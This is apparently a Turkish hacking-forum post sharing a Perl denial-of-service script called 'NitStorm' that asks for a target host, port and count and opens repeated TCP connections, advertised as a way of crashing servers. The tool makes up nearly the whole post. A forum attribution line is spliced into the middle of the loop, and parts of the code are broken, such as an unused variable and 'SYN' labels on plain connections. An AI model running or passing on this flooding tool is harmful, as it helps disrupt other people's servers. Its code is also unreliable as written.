Programcılar Bakar mısınız ?

#!/usr/bin/perl 
#All Right Reserved By Liarhack... 
#My Mail : [email protected]
use IO::Socket; 
print q{ 
 
------------------------------------------- 
 2626  26 26  26   26           2626   // 
 2      262   262  26           26     --------------------- 
 2626    6    26 2 26           26    2   2626 2626  26    | 
 6    2    26  626    =-=  2626  6   2  2 2  2  2 6   | 
 2626    6    26   26           26    2   6  6 6  6  2 6   | 
------------------------------  26    626 2626 2626  26    | 
 By Nitrojen26          //                              | 
 ---------------------------------- 
 
This Perl-Script /NitStorm/ Whill Crashing Server 
 
By Flooding A Lot Of Dump Requests............... 
 
All Right Reserved By +++++++++Liarhack++++++++ 
 
Ex: Perl NitStorm.pl 127.0.0.1 80 3000 
 
}; 
if(!defined($ARGV[2])){ 
print "Dos Target : "; 
$host = <STDIN>; 
chop ($host); 
print "Port : "; 
$port = <STDIN>; 
chop ($port); 
print "SYN Requests to send : "; 
$num = <STDIN>; 
chop ($num); 
} 
if(defined($ARGV[2])){ 
$host = $ARGV[0]; 
$port = $ARGV[1]; 
$num = $ARGV[2]; 
} 
for ($i=0; $i<$num; $i++) 
Kaynak: TurkHackTeam.Net Bilginin Adresi http://www.turkhackteam.net/showthread.php?p=1775530&posted=1#post1775530
{ 
$len = length $form; 
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "Can't Connect,It May The Server Dose d?.\n"; 
syswrite STDOUT, "
[*]SYN Request: $i\n"; 
} 
 
print "\n\nEnd Of NitStorm\n\n\n"; 
print "Press Enter To Exit..."; 
$end = <STDIN>; 
chop ($end);